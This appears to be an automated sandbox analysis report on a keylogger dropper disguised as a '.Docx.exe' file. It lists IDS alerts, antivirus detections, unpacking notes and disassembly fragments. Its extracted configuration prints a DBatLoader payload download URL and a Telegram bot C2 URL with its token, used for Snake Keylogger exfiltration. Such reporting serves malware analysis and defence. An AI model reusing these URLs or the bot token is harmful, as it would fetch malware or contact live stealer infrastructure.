2024-12-18T16:17:49.481843+0100	2853006	1	A Network Trojan was detected	192.168.2.5	49857	149.154.167.220	443	TCP
2024-12-18T16:17:51.381717+0100	2853006	1	A Network Trojan was detected	192.168.2.5	49889	149.154.167.220	443	TCP
2024-12-18T16:17:51.459517+0100	2853006	1	A Network Trojan was detected	192.168.2.5	49888	149.154.167.220	443	TCP
2024-12-18T16:17:51.484603+0100	2853006	1	A Network Trojan was detected	192.168.2.5	49890	149.154.167.220	443	TCP
2024-12-18T16:17:53.305533+0100	2853006	1	A Network Trojan was detected	192.168.2.5	49896	149.154.167.220	443	TCP
2024-12-18T16:17:53.484345+0100	2853006	1	A Network Trojan was detected	192.168.2.5	49897	149.154.167.220	443	TCP
2024-12-18T16:17:53.506958+0100	2853006	1	A Network Trojan was detected	192.168.2.5	49898	149.154.167.220	443	TCP
2024-12-18T16:17:55.370908+0100	2853006	1	A Network Trojan was detected	192.168.2.5	49903	149.154.167.220	443	TCP
2024-12-18T16:17:55.483625+0100	2853006	1	A Network Trojan was detected	192.168.2.5	49904	149.154.167.220	443	TCP
2024-12-18T16:17:55.524486+0100	2853006	1	A Network Trojan was detected	192.168.2.5	49905	149.154.167.220	443	TCP
2024-12-18T16:17:57.380673+0100	2853006	1	A Network Trojan was detected	192.168.2.5	49911	149.154.167.220	443	TCP
2024-12-18T16:17:57.573416+0100	2853006	1	A Network Trojan was detected	192.168.2.5	49913	149.154.167.220	443	TCP
2024-12-18T16:17:57.635179+0100	2853006	1	A Network Trojan was detected	192.168.2.5	49912	149.154.167.220	443	TCP
2024-12-18T16:17:59.375673+0100	2853006	1	A Network Trojan was detected	192.168.2.5	49919	149.154.167.220	443	TCP
2024-12-18T16:17:59.580713+0100	2853006	1	A Network Trojan was detected	192.168.2.5	49920	149.154.167.220	443	TCP
2024-12-18T16:17:59.639880+0100	2853006	1	A Network Trojan was detected	192.168.2.5	49921	149.154.167.220	443	TCP
2024-12-18T16:18:01.318425+0100	2853006	1	A Network Trojan was detected	192.168.2.5	49926	149.154.167.220	443	TCP
2024-12-18T16:18:01.571029+0100	2853006	1	A Network Trojan was detected	192.168.2.5	49928	149.154.167.220	443	TCP
2024-12-18T16:18:01.603400+0100	2853006	1	A Network Trojan was detected	192.168.2.5	49929	149.154.167.220	443	TCP
2024-12-18T16:18:03.392072+0100	2853006	1	A Network Trojan was detected	192.168.2.5	49934	149.154.167.220	443	TCP
2024-12-18T16:18:03.529800+0100	2853006	1	A Network Trojan was detected	192.168.2.5	49936	149.154.167.220	443	TCP
2024-12-18T16:18:03.666271+0100	2853006	1	A Network Trojan was detected	192.168.2.5	49937	149.154.167.220	443	TCP
2024-12-18T16:18:05.349537+0100	2853006	1	A Network Trojan was detected	192.168.2.5	49941	149.154.167.220	443	TCP
2024-12-18T16:18:05.443772+0100	2853006	1	A Network Trojan was detected	192.168.2.5	49943	149.154.167.220	443	TCP
2024-12-18T16:18:05.612499+0100	2853006	1	A Network Trojan was detected	192.168.2.5	49944	149.154.167.220	443	TCP
2024-12-18T16:18:07.581908+0100	2853006	1	A Network Trojan was detected	192.168.2.5	49949	149.154.167.220	443	TCP
2024-12-18T16:18:07.680349+0100	2853006	1	A Network Trojan was detected	192.168.2.5	49950	149.154.167.220	443	TCP
2024-12-18T16:18:07.704153+0100	2853006	1	A Network Trojan was detected	192.168.2.5	49952	149.154.167.220	443	TCP
2024-12-18T16:18:09.708901+0100	2853006	1	A Network Trojan was detected	192.168.2.5	49958	149.154.167.220	443	TCP
2024-12-18T16:18:09.773344+0100	2853006	1	A Network Trojan was detected	192.168.2.5	49959	149.154.167.220	443	TCP
2024-12-18T16:18:09.810147+0100	2853006	1	A Network Trojan was detected	192.168.2.5	49960	149.154.167.220	443	TCP
2024-12-18T16:18:11.797610+0100	2853006	1	A Network Trojan was detected	192.168.2.5	49966	149.154.167.220	443	TCP
2024-12-18T16:18:11.812814+0100	2853006	1	A Network Trojan was detected	192.168.2.5	49968	149.154.167.220	443	TCP
2024-12-18T16:18:11.853841+0100	2853006	1	A Network Trojan was detected	192.168.2.5	49967	149.154.167.220	443	TCP
2024-12-18T16:18:14.047343+0100	2853006	1	A Network Trojan was detected	192.168.2.5	49973	149.154.167.220	443	TCP
2024-12-18T16:18:14.100657+0100	2853006	1	A Network Trojan was detected	192.168.2.5	49974	149.154.167.220	443	TCP
2024-12-18T16:18:14.154114+0100	2853006	1	A Network Trojan was detected	192.168.2.5	49976	149.154.167.220	443	TCP
2024-12-18T16:18:15.983634+0100	2853006	1	A Network Trojan was detected	192.168.2.5	49982	149.154.167.220	443	TCP
2024-12-18T16:18:16.111926+0100	2853006	1	A Network Trojan was detected	192.168.2.5	49983	149.154.167.220	443	TCP
2024-12-18T16:18:16.152443+0100	2853006	1	A Network Trojan was detected	192.168.2.5	49984	149.154.167.220	443	TCP
2024-12-18T16:18:17.915743+0100	2853006	1	A Network Trojan was detected	192.168.2.5	49989	149.154.167.220	443	TCP
2024-12-18T16:18:18.073303+0100	2853006	1	A Network Trojan was detected	192.168.2.5	49990	149.154.167.220	443	TCP
2024-12-18T16:18:18.111085+0100	2853006	1	A Network Trojan was detected	192.168.2.5	49991	149.154.167.220	443	TCP
2024-12-18T16:18:19.846297+0100	2853006	1	A Network Trojan was detected	192.168.2.5	49997	149.154.167.220	443	TCP
2024-12-18T16:18:20.045944+0100	2853006	1	A Network Trojan was detected	192.168.2.5	49998	149.154.167.220	443	TCP
2024-12-18T16:18:20.076195+0100	2853006	1	A Network Trojan was detected	192.168.2.5	49999	149.154.167.220	443	TCP
2024-12-18T16:18:21.927558+0100	2853006	1	A Network Trojan was detected	192.168.2.5	50004	149.154.167.220	443	TCP
2024-12-18T16:18:22.092437+0100	2853006	1	A Network Trojan was detected	192.168.2.5	50005	149.154.167.220	443	TCP
2024-12-18T16:18:22.120855+0100	2853006	1	A Network Trojan was detected	192.168.2.5	50007	149.154.167.220	443	TCP
2024-12-18T16:18:24.287503+0100	2853006	1	A Network Trojan was detected	192.168.2.5	50014	149.154.167.220	443	TCP
2024-12-18T16:18:24.288171+0100	2853006	1	A Network Trojan was detected	192.168.2.5	50012	149.154.167.220	443	TCP
2024-12-18T16:18:24.288771+0100	2853006	1	A Network Trojan was detected	192.168.2.5	50013	149.154.167.220	443	TCP
2024-12-18T16:18:26.252702+0100	2853006	1	A Network Trojan was detected	192.168.2.5	50020	149.154.167.220	443	TCP
2024-12-18T16:18:26.311353+0100	2853006	1	A Network Trojan was detected	192.168.2.5	50022	149.154.167.220	443	TCP
2024-12-18T16:18:26.366662+0100	2853006	1	A Network Trojan was detected	192.168.2.5	50021	149.154.167.220	443	TCP
2024-12-18T16:18:28.288311+0100	2853006	1	A Network Trojan was detected	192.168.2.5	50028	149.154.167.220	443	TCP
2024-12-18T16:18:28.333244+0100	2853006	1	A Network Trojan was detected	192.168.2.5	50029	149.154.167.220	443	TCP
2024-12-18T16:18:28.371274+0100	2853006	1	A Network Trojan was detected	192.168.2.5	50030	149.154.167.220	443	TCP
2024-12-18T16:18:30.205741+0100	2853006	1	A Network Trojan was detected	192.168.2.5	50037	149.154.167.220	443	TCP
2024-12-18T16:18:30.323151+0100	2853006	1	A Network Trojan was detected	192.168.2.5	50038	149.154.167.220	443	TCP
2024-12-18T16:18:30.356116+0100	2853006	1	A Network Trojan was detected	192.168.2.5	50039	149.154.167.220	443	TCP
2024-12-18T16:18:32.166367+0100	2853006	1	A Network Trojan was detected	192.168.2.5	50044	149.154.167.220	443	TCP
2024-12-18T16:18:32.380021+0100	2853006	1	A Network Trojan was detected	192.168.2.5	50045	149.154.167.220	443	TCP
2024-12-18T16:18:32.422146+0100	2853006	1	A Network Trojan was detected	192.168.2.5	50046	149.154.167.220	443	TCP
2024-12-18T16:18:34.245957+0100	2853006	1	A Network Trojan was detected	192.168.2.5	50049	149.154.167.220	443	TCP
2024-12-18T16:18:34.375883+0100	2853006	1	A Network Trojan was detected	192.168.2.5	50052	149.154.167.220	443	TCP
2024-12-18T16:18:34.414007+0100	2853006	1	A Network Trojan was detected	192.168.2.5	50053	149.154.167.220	443	TCP
2024-12-18T16:18:36.176798+0100	2853006	1	A Network Trojan was detected	192.168.2.5	50057	149.154.167.220	443	TCP
2024-12-18T16:18:36.335163+0100	2853006	1	A Network Trojan was detected	192.168.2.5	50058	149.154.167.220	443	TCP
2024-12-18T16:18:36.367743+0100	2853006	1	A Network Trojan was detected	192.168.2.5	50059	149.154.167.220	443	TCP
2024-12-18T16:18:38.112744+0100	2853006	1	A Network Trojan was detected	192.168.2.5	50065	149.154.167.220	443	TCP
2024-12-18T16:18:38.317119+0100	2853006	1	A Network Trojan was detected	192.168.2.5	50066	149.154.167.220	443	TCP
2024-12-18T16:18:38.348443+0100	2853006	1	A Network Trojan was detected	192.168.2.5	50067	149.154.167.220	443	TCP
2024-12-18T16:18:40.032364+0100	2853006	1	A Network Trojan was detected	192.168.2.5	50072	149.154.167.220	443	TCP
2024-12-18T16:18:40.250609+0100	2853006	1	A Network Trojan was detected	192.168.2.5	50073	149.154.167.220	443	TCP
2024-12-18T16:18:40.297416+0100	2853006	1	A Network Trojan was detected	192.168.2.5	50074	149.154.167.220	443	TCP
2024-12-18T16:18:41.997405+0100	2853006	1	A Network Trojan was detected	192.168.2.5	50080	149.154.167.220	443	TCP
2024-12-18T16:18:42.351105+0100	2853006	1	A Network Trojan was detected	192.168.2.5	50081	149.154.167.220	443	TCP
2024-12-18T16:18:42.395242+0100	2853006	1	A Network Trojan was detected	192.168.2.5	50082	149.154.167.220	443	TCP
2024-12-18T16:18:43.931774+0100	2853006	1	A Network Trojan was detected	192.168.2.5	50087	149.154.167.220	443	TCP
2024-12-18T16:18:44.349926+0100	2853006	1	A Network Trojan was detected	192.168.2.5	50089	149.154.167.220	443	TCP
2024-12-18T16:18:45.072902+0100	2853006	1	A Network Trojan was detected	192.168.2.5	50090	149.154.167.220	443	TCP
2024-12-18T16:18:45.842958+0100	2853006	1	A Network Trojan was detected	192.168.2.5	50094	149.154.167.220	443	TCP
2024-12-18T16:18:46.296362+0100	2853006	1	A Network Trojan was detected	192.168.2.5	50096	149.154.167.220	443	TCP
2024-12-18T16:18:47.101890+0100	2853006	1	A Network Trojan was detected	192.168.2.5	50098	149.154.167.220	443	TCP
2024-12-18T16:18:51.477554+0100	2853006	1	A Network Trojan was detected	192.168.2.5	50100	149.154.167.220	443	TCP
2024-12-18T16:18:51.722173+0100	2853006	1	A Network Trojan was detected	192.168.2.5	50104	149.154.167.220	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: D.G Governor Istek,Docx.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\Public\Libraries\Cneehezx.PIF

Avira: detection malicious, Label: HEUR/AGEN.1326111

Found malware configuration

Source: D.G Governor Istek,Docx.exe	Malware Configuration Extractor: DBatLoader {"Download Url": ["https://bitbucket.org/ntim1478/gpmaw/downloads/202_Cneehezxuzj"]}
Source: xzeheenC.pif.6656.4.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendMessage"}

Multi AV Scanner detection for dropped file

Source: C:\Users\Public\Libraries\Cneehezx.PIF

ReversingLabs: Detection: 52%

Multi AV Scanner detection for submitted file

Source: D.G Governor Istek,Docx.exe

ReversingLabs: Detection: 52%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\Public\Libraries\xzeheenC.pif	Unpacked PE file: 4.2.xzeheenC.pif.400000.0.unpack
Source: C:\Users\Public\Libraries\xzeheenC.pif	Unpacked PE file: 9.2.xzeheenC.pif.400000.0.unpack
Source: C:\Users\Public\Libraries\xzeheenC.pif	Unpacked PE file: 13.2.xzeheenC.pif.400000.0.unpack

Source: D.G Governor Istek,Docx.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: unknown	HTTPS traffic detected: 185.166.143.49:443 -> 192.168.2.5:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.217.32.148:443 -> 192.168.2.5:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49799 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:50080 version: TLS 1.2

Source:	Binary string: E:\Adlice\Truesight\x64\Release\truesight.pdb source: D.G Governor Istek,Docx.exe, 00000000.00000002.2274262219.0000000020800000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2277099019.0000000021778000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000003.2226424806.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2277821297.000000002190E000.00000004.00000020.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2279806088.000000007F450000.00000004.00001000.00020000.00000000.sdmp, Cneehezx.PIF, 00000006.00000002.2383062167.0000000021300000.00000004.00000020.00020000.00000000.sdmp, Cneehezx.PIF, 00000006.00000002.2375761543.0000000020833000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: easinvoker.pdb source: D.G Governor Istek,Docx.exe, 00000000.00000002.2274262219.0000000020800000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2274262219.0000000020820000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2279806088.000000007F450000.00000004.00001000.00020000.00000000.sdmp, Cneehezx.PIF, 00000006.00000002.2375761543.0000000020793000.00000004.00001000.00020000.00000000.sdmp, Cneehezx.PIF, 00000006.00000002.2375761543.0000000020780000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: _.pdb source: xzeheenC.pif, 00000004.00000002.3467561668.000000001CE1B000.00000004.00000020.00020000.00000000.sdmp, xzeheenC.pif, 00000004.00000003.2246468592.000000001B22B000.00000004.00000020.00020000.00000000.sdmp, xzeheenC.pif, 00000004.00000002.3468182063.000000001D270000.00000004.08000000.00040000.00000000.sdmp, xzeheenC.pif, 00000004.00000002.3471183670.000000001E2F1000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 00000009.00000002.3474258234.0000000035551000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 00000009.00000002.3474966321.0000000036AA0000.00000004.08000000.00040000.00000000.sdmp, xzeheenC.pif, 00000009.00000002.3471014628.000000003428B000.00000004.00000020.00020000.00000000.sdmp, xzeheenC.pif, 00000009.00000003.2351649309.0000000032623000.00000004.00000020.00020000.00000000.sdmp, xzeheenC.pif, 0000000D.00000003.2424661790.000000002ED4E000.00000004.00000020.00020000.00000000.sdmp, xzeheenC.pif, 0000000D.00000002.3471453220.0000000031D71000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 0000000D.00000002.3468359572.0000000030CA0000.00000004.08000000.00040000.00000000.sdmp, xzeheenC.pif, 0000000D.00000002.3468030849.00000000308EB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: easinvoker.pdbGCTL source: D.G Governor Istek,Docx.exe, 00000000.00000003.2227120369.00000000218B2000.00000004.00000020.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2274262219.0000000020800000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000003.2227120369.00000000218E1000.00000004.00000020.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2274262219.0000000020820000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2279806088.000000007F450000.00000004.00001000.00020000.00000000.sdmp, Cneehezx.PIF, 00000006.00000003.2338267499.00000000007A2000.00000004.00000020.00020000.00000000.sdmp, Cneehezx.PIF, 00000006.00000002.2375761543.0000000020793000.00000004.00001000.00020000.00000000.sdmp, Cneehezx.PIF, 00000006.00000002.2375761543.0000000020780000.00000004.00001000.00020000.00000000.sdmp, Cneehezx.PIF, 00000006.00000003.2338267499.0000000000773000.00000004.00000020.00020000.00000000.sdmp, Cneehezx.PIF, 0000000A.00000003.2418480318.000000000084F000.00000004.00000020.00020000.00000000.sdmp, Cneehezx.PIF, 0000000A.00000003.2418480318.0000000000826000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe

Code function: 0_2_029C58B4 GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA,

0_2_029C58B4

Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	4_2_1CF0E158
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 1F6EE5E8h	4_2_1F6EE1C8
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	4_2_1F6EC0F0
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 20A8FC25h	4_2_20A8F888
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 20A8C81Dh	4_2_20A8C480
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 20A8F095h	4_2_20A8ECF8
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 20A8BC8Dh	4_2_20A8B8F0
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 20A8D3ADh	4_2_20A8D010
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 20A803E3h	4_2_20A80040
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 20A8D975h	4_2_20A8D5D8
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 20A8A56Dh	4_2_20A8A1D0
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 20A8E505h	4_2_20A8E168
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 20A8B0FDh	4_2_20A8AD60
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 20A8C255h	4_2_20A8BEB8
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 20A8F65Dh	4_2_20A8F2C0
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 20A809ABh	4_2_20A80608
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 20A8CDE5h	4_2_20A8CA48
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 20A8DF3Dh	4_2_20A8DBA0
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 20A8AB35h	4_2_20A8A798
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 20A8B6C5h	4_2_20A8B328
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 20A8EACDh	4_2_20A8E730
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 20AA863Dh	4_2_20AA82A0
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 20AAC03Dh	4_2_20AABCA0
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 20AA8075h	4_2_20AA7CD8
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 20AABA75h	4_2_20AAB6D8
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 20AA91CDh	4_2_20AA8E30
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 20AA09A5h	4_2_20AA0608
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 20AA8C05h	4_2_20AA8868
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 20AAC605h	4_2_20AAC268
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 20AA03DDh	4_2_20AA0040
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 20AAA355h	4_2_20AA9FB8
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 20AAA91Dh	4_2_20AAA580
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 20AA1535h	4_2_20AA1198
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 20AA9D8Fh	4_2_20AA99E8
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 20AA9795h	4_2_20AA93F8
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 20AA0F6Dh	4_2_20AA0BD0
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 20AA74BDh	4_2_20AA7120
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 20AAB4ADh	4_2_20AAB110
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 20AA7AADh	4_2_20AA7710
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 20AA1AFDh	4_2_20AA1760
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 20AAAEE5h	4_2_20AAAB48
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	4_2_20AA542C
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	4_2_20AA5020
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	4_2_20AA5010
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then mov ecx, dword ptr [ebp-38h]	4_2_20CACAD0
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then mov ecx, dword ptr [ebp-38h]	4_2_20CADA70
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then lea esp, dword ptr [ebp-08h]	4_2_20D9C5A0
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	9_2_340FE158
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 371EE5E8h	9_2_371EE1C8
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	9_2_371EC0F0
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 37E2DF3Dh	9_2_37E2DBA0
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 37E2AB35h	9_2_37E2A798
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 37E2B6C5h	9_2_37E2B328
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 37E2EACDh	9_2_37E2E730
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 37E2F65Dh	9_2_37E2F2C0
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 37E2C255h	9_2_37E2BEB8
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 37E2CDE5h	9_2_37E2CA48
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 37E209ABh	9_2_37E20608
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 37E2A56Dh	9_2_37E2A1D0
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 37E2D975h	9_2_37E2D5D8
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 37E2B0FDh	9_2_37E2AD60
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 37E2E505h	9_2_37E2E168
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 37E2BC8Dh	9_2_37E2B8F0
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 37E2F095h	9_2_37E2ECF8
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 37E2C81Dh	9_2_37E2C480
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 37E2FC25h	9_2_37E2F888
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 37E203E3h	9_2_37E20040
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 37E2D3ADh	9_2_37E2D010
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 37E49D8Fh	9_2_37E499E8
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 37E49795h	9_2_37E493F8
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 37E40F6Dh	9_2_37E40BD0
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 37E4A355h	9_2_37E49FB8
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 37E4A91Dh	9_2_37E4A580
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 37E41535h	9_2_37E41198
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 37E41AFDh	9_2_37E41760
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 37E4AEE5h	9_2_37E4AB48
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 37E474BDh	9_2_37E47120
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 37E4B4ADh	9_2_37E4B110
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 37E47AADh	9_2_37E47710
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 37E48075h	9_2_37E47CD8
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 37E4BA75h	9_2_37E4B6D8
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 37E4C03Dh	9_2_37E4BCA0
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 37E4863Dh	9_2_37E482A0
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 37E48C05h	9_2_37E48868
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 37E4C605h	9_2_37E4C268
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 37E403DDh	9_2_37E40040
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 37E491CDh	9_2_37E48E30
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then jmp 37E409A5h	9_2_37E40608
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	9_2_37E45020
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	9_2_37E4542C
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	9_2_37E45010
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then mov ecx, dword ptr [ebp-38h]	9_2_3804DA67
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then mov ecx, dword ptr [ebp-38h]	9_2_3804DA68
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	9_2_38043EFA
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4x nop then lea esp, dword ptr [ebp-08h]	9_2_3813C4F0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.5:49782 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.5:49799 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.5:49758 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.5:49800 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.5:49812 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.5:49790 -> 149.154.167.220:443
